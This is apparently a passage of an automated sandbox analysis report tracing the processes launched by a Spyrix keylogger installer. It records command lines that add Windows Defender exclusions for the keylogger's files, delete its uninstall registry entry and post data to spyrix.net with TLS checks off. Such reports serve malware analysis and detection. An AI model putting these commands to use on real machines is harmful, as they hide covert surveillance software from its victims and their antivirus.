Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:10:40
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:10:40
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess '404.*'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:10:45
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	00:10:47
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:10:50
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:10:52
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	00:10:54
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:10:56
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:10:58
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	00:11:01
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	00:11:03
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex.cmd
Imagebase:	0x7ff6bd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7740, Parent PID: 7736

General

Target ID:	37
Start time:	00:11:03
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:11:03
Start date:	02/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex" /y
Imagebase:	0x7ff7c6ba0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:11:08
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe
Imagebase:	0x1b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	00:11:08
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:11:10
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F
Imagebase:	0x1b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:11:10
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	00:11:26
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\regedit.exe
Wow64 process (32bit):	true
Commandline:	"regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1"
Imagebase:	0x820000
File size:	329'728 bytes
MD5 hash:	BD63D72DB4FA96A1E0250B1D36B7A827
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	00:11:26
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"reg.exe" delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" /f
Imagebase:	0x9a0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	00:11:26
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	00:11:26
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe"
Imagebase:	0x400000
File size:	5'346'216 bytes
MD5 hash:	11ADE4625528B6E7E1601681867E094E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	00:11:26
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"
Imagebase:	0x850000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	00:11:27
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c plist.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	00:11:27
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	00:11:27
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0xe90000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	00:11:28
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 20
Imagebase:	0x600000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	00:11:29
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" "
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	00:11:29
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	00:11:30
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 6
Imagebase:	0x600000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	00:11:32
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c netstat.exe -e > "C:\Users\user\AppData\Local\Temp\nse"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	00:11:32
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	00:11:32
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\NETSTAT.EXE
Wow64 process (32bit):	true
Commandline:	netstat.exe -e
Imagebase:	0xd0000
File size:	32'768 bytes
MD5 hash:	9DB170ED520A6DD57B5AC92EC537368A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	00:11:36
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	00:11:37
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1992,i,7642433025411638348,18067378609004413491,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	00:11:40
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Imagebase:	0xdc0000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	00:11:40
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	00:11:44
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Imagebase:	0xdc0000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	00:11:44
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	00:11:44
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Imagebase:	0xdc0000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	00:11:44
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	00:11:44
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22"
Imagebase:	0x400000
File size:	2'012'072 bytes
MD5 hash:	C0E67E8723775249CA0AE2C52E7EDD9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000042.00000000.3090859103.0000000000401000.00000020.00000001.01000000.00000018.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	68
Start time:	00:11:47
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Imagebase:	0xdc0000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	00:11:47
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	00:11:50
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 83
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	00:11:50
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 112
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	00:11:50
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Imagebase:	0xdc0000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	00:11:50
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 121
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	00:11:50
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 114
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	00:11:50
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 105
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	00:11:50
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 120
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	00:11:50
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	00:11:50
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH
Imagebase:	0x3a0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	00:11:50
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\find.exe
Wow64 process (32bit):	true
Commandline:	find "spm"
Imagebase:	0x3c0000
File size:	14'848 bytes
MD5 hash:	15B158BC998EEF74CFDD27C44978AEA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	00:11:51
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH
Imagebase:	0x3a0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	00:11:51
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\find.exe
Wow64 process (32bit):	true
Commandline:	find "sem"
Imagebase:	0x3c0000
File size:	14'848 bytes
MD5 hash:	15B158BC998EEF74CFDD27C44978AEA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	00:11:51
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	TASKLIST /FI "IMAGENAME eq spkl.exe" /FO CSV /NH
Imagebase:	0x3a0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	00:11:51
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\find.exe
Wow64 process (32bit):	true
Commandline:	find "spkl"
Imagebase:	0x3c0000
File size:	14'848 bytes
MD5 hash:	15B158BC998EEF74CFDD27C44978AEA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	00:11:52
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	TASKLIST /FI "IMAGENAME eq clv.exe" /FO CSV /NH
Imagebase:	0x3a0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	00:11:52
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\find.exe
Wow64 process (32bit):	true
Commandline:	find "clv"
Imagebase:	0x3c0000
File size:	14'848 bytes
MD5 hash:	15B158BC998EEF74CFDD27C44978AEA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.9%
